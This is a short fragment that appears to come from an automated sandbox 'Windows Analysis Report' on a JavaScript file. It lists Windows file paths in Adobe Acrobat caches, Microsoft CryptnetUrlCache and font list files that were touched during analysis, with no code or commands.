C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d18e1650-c08f-4d84-831a-b125b845f5e1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5160

Windows Analysis Report
2435213596266856603.js